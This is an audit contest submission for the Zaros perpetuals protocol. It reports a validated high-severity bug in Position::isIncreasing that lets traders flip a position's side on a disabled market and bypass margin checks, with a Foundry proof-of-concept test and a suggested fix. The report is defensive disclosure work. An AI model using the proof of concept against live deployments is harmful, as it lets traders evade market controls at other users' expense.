Zaros Part 1
Zaros
DeFiFoundry
60,000 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

Position::isIncreasing return false when user increase position size in opposite side

sohrabhind

Relevant GitHub Links

https://github.com/Cyfrin/2024-07-zaros/blob/main/src/perpetuals/leaves/Position.sol#L171

Summary

If a user creates first MarketOrder with a small sizeDelta and then creates another MarketOrder with a higher sizeDelta in opposite direction (long if first order is short, and vice versa), isIncreasing function in Position library will return false for second order.

Vulnerability Details

Position.sol#L171: return self.size == 0 || (self.size > 0 && sizeDelta > 0) || (self.size < 0 && sizeDelta < 0);

Case 1:
If a user creates a MarketOrder with a small sizeDelta of 1 (long position) and then creates another MarketOrder with a higher sizeDelta of -100 (short position), isIncreasing function will return false for second order.
For second order, size will be > 0 (i.e., 1)
sizeDelta < 0 (i.e., -100)

Case 2:
If a user creates a MarketOrder with a small sizeDelta of -1 (short position) and then creates another MarketOrder with a higher sizeDelta of 100 (long position), isIncreasing function will return false for second order.
For second order, size will be < 0 (i.e., -1)
sizeDelta > 0 (i.e., 100)
In both cases, overall position size is increasing but isIncreasing function is not behaving as expected.

POC

function test_Returning_False_On_IsIncreasing() external {
uint256 marketId = 1;
MarketConfig memory fuzzMarketConfig = getFuzzMarketConfig(marketId);
address marketOrderKeeper = marketOrderKeepers[fuzzMarketConfig.marketId];
bytes memory mockSignedReport = getMockedSignedReport(fuzzMarketConfig.streamId, fuzzMarketConfig.mockUsdPrice);
changePrank({ msgSender: users.naruto.account });
deal({token: address(usdc), to: users.naruto.account, give: fuzzMarketConfig.minTradeSize});
uint128 tradingAccountId = createAccountAndDeposit(fuzzMarketConfig.minTradeSize, address(usdc));
// First market order
int128 sizeDelta = int128(fuzzMarketConfig.minTradeSize);
perpsEngine.createMarketOrder(
OrderBranch.CreateMarketOrderParams({
tradingAccountId: tradingAccountId,
marketId: fuzzMarketConfig.marketId,
sizeDelta: sizeDelta
})
);
​
changePrank({ msgSender: marketOrderKeeper });
// Fill first order and open position
perpsEngine.fillMarketOrder(tradingAccountId, fuzzMarketConfig.marketId, mockSignedReport);
​
// Second market order
changePrank({ msgSender: users.owner.account });
// Disable perp market
perpsEngine.updatePerpMarketStatus({ marketId: fuzzMarketConfig.marketId, enable: false });
​
changePrank({ msgSender: users.naruto.account });
​
// Size delta for second order is larger than first order but in opposite direction
int128 sizeDeltaSecond = -(sizeDelta * 10);
​
perpsEngine.createMarketOrder(
OrderBranch.CreateMarketOrderParams({
tradingAccountId: tradingAccountId,
marketId: fuzzMarketConfig.marketId,
sizeDelta: sizeDeltaSecond
})
);
​
// Despite our total size increasing, isIncreasing is returning false
// So createMarketOrder and fillMarketOrder will get executed
// even when perp market is disabled
changePrank({ msgSender: marketOrderKeeper });
// Fill second order and open position
perpsEngine.fillMarketOrder(tradingAccountId, fuzzMarketConfig.marketId, mockSignedReport);
}

Impact

  • Traders can change side (long/short) of a position even if the market is disabled, which breaks market controls.

  • Incorrect margin requirements will be applied, letting positions to stay open with insufficient initial margin.

Tools Used

Manual, Foundry

Recommendations

Add a check in createMarketOrder and _fillOrder functions before calling isIncreasing, to revert transaction if user is switching position side from short to long, and vice versa.

Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Disable market limitation can be bypassed

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.